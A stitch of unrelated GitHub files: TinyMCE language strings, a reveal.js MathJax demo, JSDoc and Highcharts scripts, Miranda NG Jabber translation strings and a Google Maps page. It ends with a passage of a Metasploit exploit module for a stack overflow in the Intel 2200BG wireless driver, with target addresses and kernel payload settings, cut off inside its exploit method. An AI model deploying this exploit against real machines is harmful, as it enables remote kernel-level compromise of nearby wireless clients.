back to regular paste mode." }, paste_dlg: { text_title: "Use CTRL + V on your keyboard to paste the text into the window.", text_linebreaks: "Keep linebreaks", word_title: "Use CTRL + V on your keyboard to paste the text into the window." }, table: { desc: "Inserts a new table", row_before_desc: "Insert row before", row_after_desc: "Insert row after", delete_row_desc: "Delete row", col_before_desc: "Insert column before", col_after_desc: "Insert column after", delete_col_desc: "Remove column", split_cells_desc: "Split merged table cells", merge_cells_desc: "Merge table cells", row_desc: "Table row properties", cell_desc: "Table cell properties", props_desc: "Table properties", paste_row_before_desc: "Paste table row before", paste_row_after_desc: "Paste table row after", cut_row_desc: "Cut table row", copy_row_desc: "Copy table row", del: "Delete table", row: "Row", col: "Column", cell: "Cell" }, autosave: { unload_msg: "The changes you made will be lost if you navigate away from this page." }, fullscreen: { desc: "Toggle fullscreen mode (Alt + Shift + G)" }, media: { desc: "Insert / edit embedded media", edit: "Edit embedded media" }, fullpage: { desc: "Document properties" }, template: { desc: "Insert predefined template content" }, visualchars: { desc: "Visual control characters on/off." }, spellchecker: { desc: "Toggle spellchecker (Alt + Shift + N)", menu: "Spellchecker settings", ignore_word: "Ignore word", ignore_words: "Ignore all", langs: "Languages", wait: "Please wait...", sug: "Suggestions", no_sug: "No suggestions", no_mpell: "No misspellings found.", learn_word: "Learn word" }, pagebreak: { desc: "Insert Page Break" }, advlist:{ types: "Types", def: "Default", lower_alpha: "Lower alpha", lower_greek: "Lower greek", lower_roman: "Lower roman", upper_alpha: "Upper alpha", upper_roman: "Upper roman", circle: "Circle", disc: "Disc", square: "Square" }, aria: { rich_text_area: "Rich Text Area" }, wordcount:{ words: "Words: " } }; tinyMCE.addI18n( main ); tinyMCE.addI18n( lang + ".advanced", { style_select: "Styles", font_size: "Font size", fontdefault: "Font family", block: "Format", paragraph: "Paragraph", div: "Div", address: "Address", pre: "Preformatted", h1: "Heading 1", h2: "Heading 2", h3: "Heading 3", h4: "Heading 4", h5: "Heading 5", h6: "Heading 6", blockquote: "Blockquote", code: "Code", samp: "Code sample", dt: "Definition term ", dd: "Definition description", bold_desc: "Bold (Ctrl + B)", italic_desc: "Italic (Ctrl + I)", underline_desc: "Underline", striketrough_desc: "Strikethrough (Alt + Shift + D)", justifyleft_desc: "Align Left (Alt + Shift + L)", justifycenter_desc: "Align Center (Alt + Shift + C)", justifyright_desc: "Align Right (Alt + Shift + R)", justifyfull_desc: "Align Full (Alt + Shift + J)", bullist_desc: "Unordered list (Alt + Shift + U)", numlist_desc: "Ordered list (Alt + Shift + O)", outdent_desc: "Outdent", indent_desc: "Indent", undo_desc: "Undo (Ctrl + Z)", redo_desc: "Redo (Ctrl + Y)", link_desc: "Insert/edit link (Alt + Shift + A)", unlink_desc: "Unlink (Alt + Shift + S)", image_desc: "Insert/edit image (Alt + Shift + M)", cleanup_desc: "Cleanup messy code", code_desc: "Edit HTML Source", sub_desc: "Subscript", sup_desc: "Superscript", hr_desc: "Insert horizontal ruler", removeformat_desc: "Remove formatting", forecolor_desc: "Select text color", backcolor_desc: "Select background color", charmap_desc: "Insert custom character", visualaid_desc: "Toggle guidelines/invisible elements", anchor_desc: "Insert/edit anchor", cut_desc: "Cut", copy_desc: "Copy", paste_desc: "Paste", image_props_desc: "Image properties", newdocument_desc: "New document", help_desc: "Help", blockquote_desc: "Blockquote (Alt + Shift + Q)", clipboard_msg: "Copy/Cut/Paste is not available in Mozilla and Firefox.", path: "Path", newdocument: "Are you sure you want to clear all contents?", toolbar_focus: "Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X", more_colors: "More colors", shortcuts_desc: "Accessibility Help", help_shortcut: " Press ALT F10 for toolbar. Press ALT 0 for help.", rich_text_area: "Rich Text Area", toolbar: "Toolbar" }); tinyMCE.addI18n( lang + ".advanced_dlg", { about_title: "About TinyMCE", about_general: "About", about_help: "Help", about_license: "License", about_plugins: "Plugins", about_plugin: "Plugin", about_author: "Author", about_version: "Version", about_loaded: "Loaded plugins", anchor_title: "Insert/edit anchor", anchor_name: "Anchor name", code_title: "HTML Source Editor", code_wordwrap: "Word wrap", colorpicker_title: "Select a color", colorpicker_picker_tab: "Picker", colorpicker_picker_title: "Color picker", colorpicker_palette_tab: "Palette", colorpicker_palette_title: "Palette colors", colorpicker_named_tab: "Named", colorpicker_named_title: "Named colors", colorpicker_color: "Color: ", colorpicker_name: "Name: ", charmap_title: "Select custom character", charmap_usage: "Use left and right arrows to navigate.", image_title: "Insert/edit image", image_src: "Image URL", image_alt: "Image description", image_list: "Image list", image_border: "Border", image_dimensions: "Dimensions", image_vspace: "Vertical space", image_hspace: "Horizontal space", image_align: "Alignment", image_align_baseline: "Baseline", image_align_top: "Top", image_align_middle: "Middle", image_align_bottom: "Bottom", image_align_texttop: "Text top", image_align_textbottom: "Text bottom", image_align_left: "Left", image_align_right: "Right", link_title: "Insert/edit link", link_url: "Link URL", link_target: "Target", link_target_same: "Open link in the same window", link_target_blank: "Open link in a new window", link_titlefield: "Title", link_is_email: "The URL you entered seems to be an email address, do you want to add the required mailto: prefix?", link_is_external: "The URL you entered seems to be an external link, do you want to add the required http:// prefix?", link_list: "Link list", accessibility_help: "Accessibility Help", accessibility_usage_title: "General Usage" }); tinyMCE.addI18n( lang + ".media_dlg", { title: "Insert / edit embedded media", general: "General", advanced: "Advanced", file: "File/URL", list: "List", size: "Dimensions", preview: "Preview", constrain_proportions: "Constrain proportions", type: "Type", id: "Id", name: "Name", class_name: "Class", vspace: "V-Space", hspace: "H-Space", play: "Auto play", loop: "Loop", menu: "Show menu", quality: "Quality", scale: "Scale", align: "Align", salign: "SAlign", wmode: "WMode", bgcolor: "Background", base: "Base", flashvars: "Flashvars", liveconnect: "SWLiveConnect", autohref: "AutoHREF", cache: "Cache", hidden: "Hidden", controller: "Controller", kioskmode: "Kiosk mode", playeveryframe: "Play every frame", targetcache: "Target cache", correction: "No correction", enablejavascript: "Enable JavaScript", starttime: "Start time", endtime: "End time", href: "href", qtsrcchokespeed: "Choke speed", target: "Target", volume: "Volume", autostart: "Auto start", enabled: "Enabled", fullscreen: "Fullscreen", invokeurls: "Invoke URLs", mute: "Mute", stretchtofit: "Stretch to fit", windowlessvideo: "Windowless video", balance: "Balance", baseurl: "Base URL", captioningid: "Captioning id", currentmarker: "Current marker", currentposition: "Current position", defaultframe: "Default frame", playcount: "Play count", rate: "Rate", uimode: "UI Mode", flash_options: "Flash options", qt_options: "QuickTime options", wmp_options: "Windows media player options", rmp_options: "Real media player options", shockwave_options: "Shockwave options", autogotourl: "Auto goto URL", center: "Center", imagestatus: "Image status", maintainaspect: "Maintain aspect", nojava: "No java", prefetch: "Prefetch", shuffle: "Shuffle", console: "Console", numloop: "Num loops", controls: "Controls", scriptcallbacks: "Script callbacks", swstretchstyle: "Stretch style", swstretchhalign: "Stretch H-Align", swstretchvalign: "Stretch V-Align", sound: "Sound", progress: "Progress", qtsrc: "QT Src", qt_stream_warn: "Streamed rtsp resources should be added to the QT Src field under the advanced tab.", align_top: "Top", align_right: "Right", align_bottom: "Bottom", align_left: "Left", align_center: "Center", align_top_left: "Top left", align_top_right: "Top right", align_bottom_left: "Bottom left", align_bottom_right: "Bottom right", flv_options: "Flash video options", flv_scalemode: "Scale mode", flv_buffer: "Buffer", flv_startimage: "Start image", flv_starttime: "Start time", flv_defaultvolume: "Default volume", flv_hiddengui: "Hidden GUI", flv_autostart: "Auto start", flv_loop: "Loop", flv_showscalemodes: "Show scale modes", flv_smoothvideo: "Smooth video", flv_jscallback: "JS Callback", html5_video_options: "HTML5 Video Options", altsource1: "Alternative source 1", altsource2: "Alternative source 2", preload: "Preload", poster: "Poster", source: "Source" }); tinyMCE.addI18n( lang + ".wordpress", { wp_adv_desc: "Show/Hide Kitchen Sink (Alt + Shift + Z)", wp_more_desc: "Insert More Tag (Alt + Shift + T)", wp_page_desc: "Insert Page break (Alt + Shift + P)", wp_help_desc: "Help (Alt + Shift + H)", wp_more_alt: "More...", wp_page_alt: "Next page...", add_media: "Add Media", add_image: "Add an Image", add_video: "Add Video", add_audio: "Add Audio", editgallery: "Edit Gallery", delgallery: "Delete Gallery", wp_fullscreen_desc: "Distraction-free writing mode (Alt + Shift + W)" }); tinyMCE.addI18n( lang + ".wpeditimage", { edit_img: "Edit Image", del_img: "Delete Image", adv_settings: "Advanced Settings", none: "None", size: "Size", thumbnail: "Thumbnail", medium: "Medium", full_size: "Full Size", current_link: "Current Link", link_to_img: "Link to Image", link_help: "Enter a link URL or click above for presets.", adv_img_settings: "Advanced Image Settings", source: "Source", width: "Width", height: "Height", orig_size: "Original Size", css: "CSS Class", adv_link_settings: "Advanced Link Settings", link_rel: "Link Rel", height: "Height", orig_size: "Original Size", css: "CSS Class", s60: "60%", s70: "70%", s80: "80%", s90: "90%", s100: "100%", s110: "110%", s120: "120%", s130: "130%", img_title: "Title", caption: "Caption", alt: "Alternative Text" }); }());
{ "pile_set_name": "Github" }
<!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>reveal.js - Math Plugin</title> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"> <link rel="stylesheet" href="../../css/reveal.css"> <link rel="stylesheet" href="../../css/theme/night.css" id="theme"> </head> <body> <div class="reveal"> <div class="slides"> <section> <h2>reveal.js Math Plugin</h2> <p>A thin wrapper for MathJax</p> </section> <section> <h3>The Lorenz Equations</h3> \[\begin{aligned} \dot{x} &amp; = \sigma(y-x) \\ \dot{y} &amp; = \rho x - y - xz \\ \dot{z} &amp; = -\beta z + xy \end{aligned} \] </section> <section> <h3>The Cauchy-Schwarz Inequality</h3> <script type="math/tex; mode=display"> \left( \sum_{k=1}^n a_k b_k \right)^2 \leq \left( \sum_{k=1}^n a_k^2 \right) \left( \sum_{k=1}^n b_k^2 \right) </script> </section> <section> <h3>A Cross Product Formula</h3> \[\mathbf{V}_1 \times \mathbf{V}_2 = \begin{vmatrix} \mathbf{i} &amp; \mathbf{j} &amp; \mathbf{k} \\ \frac{\partial X}{\partial u} &amp; \frac{\partial Y}{\partial u} &amp; 0 \\ \frac{\partial X}{\partial v} &amp; \frac{\partial Y}{\partial v} &amp; 0 \end{vmatrix} \] </section> <section> <h3>The probability of getting \(k\) heads when flipping \(n\) coins is</h3> \[P(E) = {n \choose k} p^k (1-p)^{ n-k} \] </section> <section> <h3>An Identity of Ramanujan</h3> \[ \frac{1}{\Bigl(\sqrt{\phi \sqrt{5}}-\phi\Bigr) e^{\frac25 \pi}} = 1+\frac{e^{-2\pi}} {1+\frac{e^{-4\pi}} {1+\frac{e^{-6\pi}} {1+\frac{e^{-8\pi}} {1+\ldots} } } } \] </section> <section> <h3>A Rogers-Ramanujan Identity</h3> \[ 1 + \frac{q^2}{(1-q)}+\frac{q^6}{(1-q)(1-q^2)}+\cdots = \prod_{j=0}^{\infty}\frac{1}{(1-q^{5j+2})(1-q^{5j+3})}\] </section> <section> <h3>Maxwell&#8217;s Equations</h3> \[ \begin{aligned} \nabla \times \vec{\mathbf{B}} -\, \frac1c\, \frac{\partial\vec{\mathbf{E}}}{\partial t} &amp; = \frac{4\pi}{c}\vec{\mathbf{j}} \\ \nabla \cdot \vec{\mathbf{E}} &amp; = 4 \pi \rho \\ \nabla \times \vec{\mathbf{E}}\, +\, \frac1c\, \frac{\partial\vec{\mathbf{B}}}{\partial t} &amp; = \vec{\mathbf{0}} \\ \nabla \cdot \vec{\mathbf{B}} &amp; = 0 \end{aligned} \] </section> <section> <section> <h3>The Lorenz Equations</h3> <div class="fragment"> \[\begin{aligned} \dot{x} &amp; = \sigma(y-x) \\ \dot{y} &amp; = \rho x - y - xz \\ \dot{z} &amp; = -\beta z + xy \end{aligned} \] </div> </section> <section> <h3>The Cauchy-Schwarz Inequality</h3> <div class="fragment"> \[ \left( \sum_{k=1}^n a_k b_k \right)^2 \leq \left( \sum_{k=1}^n a_k^2 \right) \left( \sum_{k=1}^n b_k^2 \right) \] </div> </section> <section> <h3>A Cross Product Formula</h3> <div class="fragment"> \[\mathbf{V}_1 \times \mathbf{V}_2 = \begin{vmatrix} \mathbf{i} &amp; \mathbf{j} &amp; \mathbf{k} \\ \frac{\partial X}{\partial u} &amp; \frac{\partial Y}{\partial u} &amp; 0 \\ \frac{\partial X}{\partial v} &amp; \frac{\partial Y}{\partial v} &amp; 0 \end{vmatrix} \] </div> </section> <section> <h3>The probability of getting \(k\) heads when flipping \(n\) coins is</h3> <div class="fragment"> \[P(E) = {n \choose k} p^k (1-p)^{ n-k} \] </div> </section> <section> <h3>An Identity of Ramanujan</h3> <div class="fragment"> \[ \frac{1}{\Bigl(\sqrt{\phi \sqrt{5}}-\phi\Bigr) e^{\frac25 \pi}} = 1+\frac{e^{-2\pi}} {1+\frac{e^{-4\pi}} {1+\frac{e^{-6\pi}} {1+\frac{e^{-8\pi}} {1+\ldots} } } } \] </div> </section> <section> <h3>A Rogers-Ramanujan Identity</h3> <div class="fragment"> \[ 1 + \frac{q^2}{(1-q)}+\frac{q^6}{(1-q)(1-q^2)}+\cdots = \prod_{j=0}^{\infty}\frac{1}{(1-q^{5j+2})(1-q^{5j+3})}\] </div> </section> <section> <h3>Maxwell&#8217;s Equations</h3> <div class="fragment"> \[ \begin{aligned} \nabla \times \vec{\mathbf{B}} -\, \frac1c\, \frac{\partial\vec{\mathbf{E}}}{\partial t} &amp; = \frac{4\pi}{c}\vec{\mathbf{j}} \\ \nabla \cdot \vec{\mathbf{E}} &amp; = 4 \pi \rho \\ \nabla \times \vec{\mathbf{E}}\, +\, \frac1c\, \frac{\partial\vec{\mathbf{B}}}{\partial t} &amp; = \vec{\mathbf{0}} \\ \nabla \cdot \vec{\mathbf{B}} &amp; = 0 \end{aligned} \] </div> </section> </section> </div> </div> <script src="../../lib/js/head.min.js"></script> <script src="../../js/reveal.js"></script> <script> Reveal.initialize({ history: true, transition: 'linear', math: { // mathjax: 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.0/MathJax.js', config: 'TeX-AMS_HTML-full' }, dependencies: [ { src: '../../lib/js/classList.js' }, { src: '../../plugin/math/math.js', async: true } ] }); </script> </body> </html>
{ "pile_set_name": "Github" }
(function() { var showingNav = true; $(document).ready( function () { var jqNav = $('div.fw_nav'); jqNav.css('right', ($(window).width() - $('div.fw_container').width()) /2); var n = $('div.nav_blocker')[0]; n.style.height = $(jqNav).outerHeight()+"px"; n.style.width = ($(jqNav).outerWidth()+20)+"px"; SyntaxHighlighter.highlight(); $('#private_toggle').click( function () { if ( $('input[name=show_private]').val() == 0 ) { $('input[name=show_private]').val( 1 ); $('#private_label').html('Showing'); $('.private').css('display', 'block'); } else { $('input[name=show_private]').val( 0 ); $('#private_label').html('Hiding'); $('.private').css('display', 'none'); } fnWriteCookie(); return false; } ); $('#extended_toggle').click( function () { if ( $('input[name=show_extended]').val() == 0 ) { $('input[name=show_extended]').val( 1 ); $('#extended_label').html('Showing'); $('.augmented').css('display', 'block'); } else { $('input[name=show_extended]').val( 0 ); $('#extended_label').html('Hiding'); $('.augmented').css('display', 'none'); } fnWriteCookie(); return false; } ); var savedHeight = $(jqNav).height(); $('div.fw_nav h2').click( function () { if ( showingNav ) { $('div.fw_nav').animate( { "height": 10, "opacity": 0.3 } ); showingNav = false; } else { $('div.fw_nav').animate( { "height": savedHeight, "opacity": 1 } ); showingNav = true; } fnWriteCookie(); } ); var cookie = fnReadCookie( 'SpryMedia_JSDoc' ); if ( cookie != null ) { var a = cookie.split('-'); if ( a[0] == 1 ) { $('#private_toggle').click(); } if ( a[1] == 0 ) { $('#extended_toggle').click(); } if ( a[2] == 'false' ) { $('div.fw_nav').css('height', 10).css('opacity', 0.3); showingNav = false; } } } ); function fnWriteCookie() { var sVal = $('input[name=show_private]').val()+'-'+ $('input[name=show_extended]').val()+'-'+ showingNav; fnCreateCookie( 'SpryMedia_JSDoc', sVal ); } function fnCreateCookie( sName, sValue ) { var iDays = 365; var date = new Date(); date.setTime( date.getTime()+(iDays*24*60*60*1000) ); var sExpires = "; expires="+date.toGMTString(); document.cookie = sName+"="+sValue+sExpires+"; path=/"; } function fnReadCookie( sName ) { var sNameEQ = sName + "="; var sCookieContents = document.cookie.split(';'); for( var i=0 ; i<sCookieContents.length ; i++ ) { var c = sCookieContents[i]; while (c.charAt(0)==' ') { c = c.substring(1,c.length); } if (c.indexOf(sNameEQ) == 0) { return c.substring(sNameEQ.length,c.length); } } return null; } })();
{ "pile_set_name": "Github" }
/** * @license Highcharts JS v3.0.6 (2013-10-04) * Prototype adapter * * @author Michael Nelson, Torstein Hønsi. * * Feel free to use and modify this script. * Highcharts license: www.highcharts.com/license. */ // JSLint options: /*global Effect, Class, Event, Element, $, $$, $A */ // Adapter interface between prototype and the Highcharts charting library var HighchartsAdapter = (function () { var hasEffect = typeof Effect !== 'undefined'; return { /** * Initialize the adapter. This is run once as Highcharts is first run. * @param {Object} pathAnim The helper object to do animations across adapters. */ init: function (pathAnim) { if (hasEffect) { /** * Animation for Highcharts SVG element wrappers only * @param {Object} element * @param {Object} attribute * @param {Object} to * @param {Object} options */ Effect.HighchartsTransition = Class.create(Effect.Base, { initialize: function (element, attr, to, options) { var from, opts; this.element = element; this.key = attr; from = element.attr ? element.attr(attr) : $(element).getStyle(attr); // special treatment for paths if (attr === 'd') { this.paths = pathAnim.init( element, element.d, to ); this.toD = to; // fake values in order to read relative position as a float in update from = 0; to = 1; } opts = Object.extend((options || {}), { from: from, to: to, attribute: attr }); this.start(opts); }, setup: function () { HighchartsAdapter._extend(this.element); // If this is the first animation on this object, create the _highcharts_animation helper that // contain pointers to the animation objects. if (!this.element._highchart_animation) { this.element._highchart_animation = {}; } // Store a reference to this animation instance. this.element._highchart_animation[this.key] = this; }, update: function (position) { var paths = this.paths, element = this.element, obj; if (paths) { position = pathAnim.step(paths[0], paths[1], position, this.toD); } if (element.attr) { // SVGElement if (element.element) { // If not, it has been destroyed (#1405) element.attr(this.options.attribute, position); } } else { // HTML, #409 obj = {}; obj[this.options.attribute] = position; $(element).setStyle(obj); } }, finish: function () { // Delete the property that holds this animation now that it is finished. // Both canceled animations and complete ones gets a 'finish' call. if (this.element && this.element._highchart_animation) { // #1405 delete this.element._highchart_animation[this.key]; } } }); } }, /** * Run a general method on the framework, following jQuery syntax * @param {Object} el The HTML element * @param {String} method Which method to run on the wrapped element */ adapterRun: function (el, method) { // This currently works for getting inner width and height. If adding // more methods later, we need a conditional implementation for each. return parseInt($(el).getStyle(method), 10); }, /** * Downloads a script and executes a callback when done. * @param {String} scriptLocation * @param {Function} callback */ getScript: function (scriptLocation, callback) { var head = $$('head')[0]; // Returns an array, so pick the first element. if (head) { // Append a new 'script' element, set its type and src attributes, add a 'load' handler that calls the callback head.appendChild(new Element('script', { type: 'text/javascript', src: scriptLocation}).observe('load', callback)); } }, /** * Custom events in prototype needs to be namespaced. This method adds a namespace 'h:' in front of * events that are not recognized as native. */ addNS: function (eventName) { var HTMLEvents = /^(?:load|unload|abort|error|select|change|submit|reset|focus|blur|resize|scroll)$/, MouseEvents = /^(?:click|mouse(?:down|up|over|move|out))$/; return (HTMLEvents.test(eventName) || MouseEvents.test(eventName)) ? eventName : 'h:' + eventName; }, // el needs an event to be attached. el is not necessarily a dom element addEvent: function (el, event, fn) { if (el.addEventListener || el.attachEvent) { Event.observe($(el), HighchartsAdapter.addNS(event), fn); } else { HighchartsAdapter._extend(el); el._highcharts_observe(event, fn); } }, // motion makes things pretty. use it if effects is loaded, if not... still get to the end result. animate: function (el, params, options) { var key, fx; // default options options = options || {}; options.delay = 0; options.duration = (options.duration || 500) / 1000; options.afterFinish = options.complete; // animate wrappers and DOM elements if (hasEffect) { for (key in params) { // The fx variable is seemingly thrown away here, but the Effect.setup will add itself to the _highcharts_animation object // on the element itself so its not really lost. fx = new Effect.HighchartsTransition($(el), key, params[key], options); } } else { if (el.attr) { // #409 without effects for (key in params) { el.attr(key, params[key]); } } if (options.complete) { options.complete(); } } if (!el.attr) { // HTML element, #409 $(el).setStyle(params); } }, // this only occurs in higcharts 2.0+ stop: function (el) { var key; if (el._highcharts_extended && el._highchart_animation) { for (key in el._highchart_animation) { // Cancel the animation // The 'finish' function in the Effect object will remove the reference el._highchart_animation[key].cancel(); } } }, // um.. each each: function (arr, fn) { $A(arr).each(fn); }, inArray: function (item, arr, from) { return arr ? arr.indexOf(item, from) : -1; }, /** * Get the cumulative offset relative to the top left of the page. This method, unlike its * jQuery and MooTools counterpart, still suffers from issue #208 regarding the position * of a chart within a fixed container. */ offset: function (el) { return $(el).cumulativeOffset(); }, // fire an event based on an event name (event) and an object (el). // again, el may not be a dom element fireEvent: function (el, event, eventArguments, defaultFunction) { if (el.fire) { el.fire(HighchartsAdapter.addNS(event), eventArguments); } else if (el._highcharts_extended) { eventArguments = eventArguments || {}; el._highcharts_fire(event, eventArguments); } if (eventArguments && eventArguments.defaultPrevented) { defaultFunction = null; } if (defaultFunction) { defaultFunction(eventArguments); } }, removeEvent: function (el, event, handler) { if ($(el).stopObserving) { if (event) { event = HighchartsAdapter.addNS(event); } $(el).stopObserving(event, handler); } if (window === el) { Event.stopObserving(el, event, handler); } else { HighchartsAdapter._extend(el); el._highcharts_stop_observing(event, handler); } }, washMouseEvent: function (e) { return e; }, // um, grep grep: function (arr, fn) { return arr.findAll(fn); }, // um, map map: function (arr, fn) { return arr.map(fn); }, // extend an object to handle highchart events (highchart objects, not svg elements). // this is a very simple way of handling events but whatever, it works (i think) _extend: function (object) { if (!object._highcharts_extended) { Object.extend(object, { _highchart_events: {}, _highchart_animation: null, _highcharts_extended: true, _highcharts_observe: function (name, fn) { this._highchart_events[name] = [this._highchart_events[name], fn].compact().flatten(); }, _highcharts_stop_observing: function (name, fn) { if (name) { if (fn) { this._highchart_events[name] = [this._highchart_events[name]].compact().flatten().without(fn); } else { delete this._highchart_events[name]; } } else { this._highchart_events = {}; } }, _highcharts_fire: function (name, args) { var target = this; (this._highchart_events[name] || []).each(function (fn) { // args is never null here if (args.stopped) { return; // "throw $break" wasn't working. i think because of the scope of 'this'. } // Attach a simple preventDefault function to skip default handler if called args.preventDefault = function () { args.defaultPrevented = true; }; args.target = target; // If the event handler return false, prevent the default handler from executing if (fn.bind(this)(args) === false) { args.preventDefault(); } } .bind(this)); } }); } } }; }());
{ "pile_set_name": "Github" }
[Go] [History recording mode] [Send group chat invitation] [Incoming group chat invitation] [The transaction identifier is:] [Error %s %s] [Select Command] [Not supported] [In progress. Please Wait...] [Requesting command list. Please wait...] [Jabber Ad-Hoc commands at %s] [Sending Ad-Hoc command to %s] [Supports Service Discovery items list] [Can request advanced processing of message stanzas] [Supports generic publish-subscribe functionality] [Supports Message Receipts] [Supports private XML Storage (for bookmarks and other)] [Supports attention requests ('nudge')] [Support Message Archive Management (XEP-0313)] [Supports chat history retrieving] [Supports Miranda NG notes extension] [Receives information about OMEMO devices] [Supports message carbons (XEP-0280)] [User %s is now banned.] [User %s changed status to %s with message: %s] [User %s changed status to %s] [Room configuration was changed.] [Outcast] [Affiliation of %s was changed to '%s'.] [because room is now members-only] [user banned] [Invite Users to\n%s] [%s from\n%s] [Real JID not available] [Outgoing XML parsing error] [request timeout.] [Add search directory] [Use for uploads] [Identities] [category] [Category] [Supported features] [Info request error] [Items request error] [Room list request timed out.] [<no nick>] [Please specify group chat directory first.] [has set the subject to:] [Group chat invitation to\n%s] [Open] [Jabber Bookmarks Error] [Conference Room Configuration] [Voice List] [Do you want to create OMEMO session with new device:] [OMEMO: New session] [Bambara] [Bihari] [Corsican] [Cree] [Ewe] [Western Frisian] [Manx] [Hausa] [Herero] [Igbo] [Sichuan Yi] [Interlingue] [Interlingua (International Auxiliary Language Association)] [Inupiaq] [Kannada] [Kashmiri] [Kanuri] [Central Khmer] [Kikuyu; Gikuyu] [Kongo] [Kuanyama; Kwanyama] [Limburgan; Limburger; Limburgish] [Lingala] [Luba-Katanga] [Ganda] [Malayalam] [Marathi] [Navajo; Navaho] [Ndonga] [Ojibwa] [Oriya] [Oromo] [Shona] [Sundanese] [Telugu] [Tibetan] [Twi] [Zhuang; Chuang] [Roster] [Use message delivery receipts (XEP-0184)] [Log presence errors] [Enable user tunes receiving] [Inline pictures in messages (XEP-0231)] [Enable chat states sending (XEP-0085)] [Enable server-side history (XEP-0136)] [Enable carbon copies (XEP-0280)] [Use Stream Management (XEP-0198) if possible (Testing)] [Embrace picture URLs with [img]] [Ignore server roster (groups and nick names)] [Accept only in band incoming filetransfers (don't disclose own IP)] [Use OMEMO encryption for messages if possible (XEP-0384) (Basic support without GUI)] [Do not open chat windows on creation] [League Of Legends (EU Nordic)] [League Of Legends (EU West)] [League Of Legends (Oceania)] [League Of Legends (US)] [Odnoklassniki] [Set New Password for %s@%s] [No valid OMEMO session exists] [Command completed successfully] [Error occurred during processing command] [Set status] [Set options] [Forward unread messages] [Leave group chats] [Quit Miranda NG] [Change Status] [Choose the status and status message] [Extended away (Not available)] [Priority] [Change global status] [Set Options] [Set the desired options] [Automatically Accept File Transfers] [Play sounds] [Disable remote controlling (check twice what you are doing)] [There is no messages to forward] [Forward options] [%d message(s) to be forwarded] [%d message(s) forwarded] [Workstation successfully locked] [Error %d occurred during workstation lock] [Confirmation needed] [Please confirm Miranda NG shutdown] [There is no group chats to leave] [Choose the group chats you want to leave] [Error %s %s\r\nPlease select other server] [Error %s %s\r\nTry to specify more detailed] [Select/type search service URL above and press <Go>] [sent error presence] [sent unknown presence type] [Authentication failed for %s@%s.] [Message redirected from: %s\r\n] [Unable to decrypt a carbon copy of the encrypted outgoing message] [Registration canceled] [<currently online>] [Last activity] [Client capabilities] [Software information] [Tune] [<no information available>] [Please switch online to see more details.] [Redirect] [Payment required] [Request timeout] [Remote server timeout] [<advanced status slot>] [gardening] [running an errand] [hiking] [jogging] [playing sports] [Grooming] [going out] [commuting] [/me slaps %s around a bit with a large trout]
{ "pile_set_name": "Github" }
<!doctype html> <html> <head> <meta name="viewport" content="initial-scale=1.0, user-scalable=no" /> <style> html { height: 100% } body { height: 100%; margin: 0; padding: 0; background-color: #FFF } #map_canvas { height: 100% } </style> <script src="http://maps.googleapis.com/maps/api/js?sensor=false&language=zh_CN"></script> <script> var map, geocoder; function initialize() { var latlng = new google.maps.LatLng(31.230393, 121.473704); var options = { zoom: 11, center: latlng, disableDefaultUI: true, panControl: true, zoomControl: true, mapTypeControl: true, scaleControl: true, streetViewControl: false, overviewMapControl: true, mapTypeId: google.maps.MapTypeId.ROADMAP }; map = new google.maps.Map(document.getElementById("map_canvas"), options); geocoder = new google.maps.Geocoder(); geocoder.geocode({latLng: latlng}, function(results, status) { if (status == google.maps.GeocoderStatus.OK) { if (results[3]) { parent.document.getElementById("kindeditor_plugin_map_address").value = results[3].formatted_address; } } }); } function search(address) { if (!map) return; geocoder.geocode({address : address}, function(results, status) { if (status == google.maps.GeocoderStatus.OK) { map.setZoom(11); map.setCenter(results[0].geometry.location); var marker = new google.maps.Marker({ map: map, position: results[0].geometry.location }); } else { alert("Invalid address: " + address); } }); } </script> </head> <body onload="initialize();"> <div id="map_canvas" style="width:100%; height:100%"></div> </body> </html>
{ "pile_set_name": "Github" }
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/projects/Framework/ ## require 'msf/core' module Msf class Exploits::Windows::Driver::Intel_Centrino_2200BG_driver_probe < Msf::Exploit::Remote include Exploit::Lorcon include Exploit::KernelMode def initialize(info = {}) super(update_info(info, 'Name' => 'Intel Centrino 2200BG Wireless Driver Probe Overflow', 'Description' => %q{ This module exploits a stack overflow in the w22n51.sys driver provided with the Intel 2200BG integrated wireless adapter. This stack overflow allows remote code execution in kernel mode. The stack overflow is triggered when a 802.11 Probe response frame is received that contains multi vendor specific tag and "\x00" as essid and essid length element. This exploit was tested with version 8.0.12.20000 of the driver and an Intel Centrino 2200BG integrated wireless adapter. Newer versions of the w22n51.sys driver are provided from Intel to resolve this flaw. Since this vulnerability is exploited via probe response frames, all cards within range of the attack will be affected. Vulnerable clients don't need to have their card in a particular state for this exploit to work. This module depends on the Lorcon library and only works on the Linux platform with a supported wireless card. Please see the Ruby Lorcon documentation (external/ruby-lorcon/README) for more information. }, 'Author' => [ 'oveRet \'Giuseppe Gottardi\' <overet [at] securitydate.it', # exploit dev 'skape' # windows kernel ninjitsu ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 4529 $', 'References' => [ ['URL', 'http://www.kb.cert.org/vuls/id/524332'], ['URL', 'http://www.milw0rm.org/exploits/3158'], ['URL', 'http://overet.securitydate.it/stuff/2200BG_8.0.12.20000_drivers.zip'] ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 224 }, 'Platform' => 'win', 'Targets' => [ # Windows XP SP2 # 5.1.2600 (xpsp_sp2_gdr.070227-2254) [ 'Windows XP SP2 (5.1.2600), w22n51.sys 8.0.12.20000', { 'Ret' => 0x8054eb62, 'Platform' => 'win', 'Payload' => { 'ExtendedOptions' => { 'Stager' => 'sud_syscall_hook', # don't change this 'PrependUser' => "\xeb\x02" + # required jump "\x85\xe0", # fixed max len 'Recovery' => 'idlethread_restart', 'KiIdleLoopAddress' => 0x804dbb27, } } } ] ], 'DefaultTarget' => 0 )) register_options( [ OptString.new('ADDR_DST', [ true, "The MAC address to send this to",'FF:FF:FF:FF:FF:FF']), OptInt.new('RUNTIME', [ true, "The number of time to run the attack", 1000]), OptInt.new('DELAY', [ true, "The number of seconds to sleep between the packets", 1]), ], self.class) end def exploit open_wifi rtime = datastore['RUNTIME'].to_i dtime = datastore['DELAY'].to_i count = 0 print_status("Sending probe exploit to 